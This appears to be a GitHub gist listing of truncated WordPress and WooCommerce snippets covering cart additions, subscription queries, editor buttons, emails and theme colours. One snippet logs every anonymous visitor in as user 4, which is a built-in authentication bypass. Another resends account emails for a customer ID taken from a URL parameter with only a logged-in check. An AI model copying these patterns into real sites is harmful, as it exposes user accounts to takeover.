This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Recursively adds each product in the array to the cart as WooCommerce cannot handle more than 1 request at a time | |
| // (will need to create an array for this to work) | |
| function addItemsToCart() { | |
| var buttonTarget = $(".add-multiple-to-cart"); | |
| if (productsToAdd.length > 0) { | |
| var product = productsToAdd.shift(); | |
| var url = '?add-to-cart=' + product.product_id + '&quantity=' + product.quantity; | |
| $.post(url, function() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Based on https://stackoverflow.com/questions/39596477/woocommerce-get-active-subscriptions-in-a-list-between-start-end-date | |
| // This will remove duplicates and only return unique customers | |
| function active_subscription_list($from_date = null, $to_date = null) | |
| { | |
| // Get all customer orders | |
| $subscriptions = get_posts([ | |
| 'numberposts' => -1, | |
| 'post_type' => 'shop_subscription', // Subscription post type | |
| 'post_status' => 'wc-active', // Active subscriptions. could also use wc-completed, wc-pending, wc-pending-cancel, wc-cancelled |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| editor.addButton('add_dummy_content', { | |
| title: 'Add dummy content', | |
| onclick: function () { | |
| editor.windowManager.open({ | |
| title: 'Add dummy content', | |
| body: [ | |
| { | |
| type: 'checkbox', | |
| name: 'title', | |
| text: 'Title' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| if (!is_user_logged_in()) { | |
| $user_id = 4; | |
| $user = get_user_by('id', $user_id); | |
| if ($user) { | |
| wp_set_current_user($user_id); | |
| wp_set_auth_cookie($user_id); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function resend_email() | |
| { | |
| if (!isset($_GET['resend_email'])) return; | |
| if (!$_GET['resend_email']) return; | |
| if (!is_user_logged_in()) return; | |
| $customer_id = $_GET['resend_email']; | |
| $email = WC()->mailer()->emails['WC_Email_Customer_New_Account']; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $class = new ReflectionClass('\SS_ACF\Components\FlexibleContent'); | |
| $methods = $class->getMethods(ReflectionMethod::IS_PUBLIC); | |
| asort($methods); | |
| foreach ($methods as $function) { | |
| if ($function->class === 'SS_ACF\Components\FlexibleContent') { | |
| echo "'{$function->name}',<br>"; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $args = [ | |
| 'post_type' => 'post', | |
| 'posts_per_page' => -1 | |
| ]; | |
| $results = new WP_Query($args); | |
| while ($results->have_posts()): $results->the_post(); | |
| $images = [ | |
| 793, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| add_filter('acf/settings/show_admin', '__return_false'); | |
| add_action('admin_action_auto_set_license_keys', 'auto_set_license_keys'); | |
| add_filter('plugin_action_links_advanced-custom-fields-pro/acf.php', 'add_action_to_acf'); | |
| function add_action_to_acf($actions) | |
| { | |
| $actions[] = '<a href="' . wp_nonce_url('admin.php?action=auto_set_license_keys', basename(__FILE__), 'duplicate_nonce') . '">Validate Licence</a>'; | |
| return $actions; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| add_action('after_setup_theme', 'prefix_register_colors'); | |
| function prefix_register_colors() | |
| { | |
| add_theme_support( | |
| 'editor-color-palette', [ | |
| [ | |
| 'name' => esc_html__('Black', 'prefix_textdomain'), | |
| 'slug' => 'black', | |
| 'color' => '#333', |
OlderNewer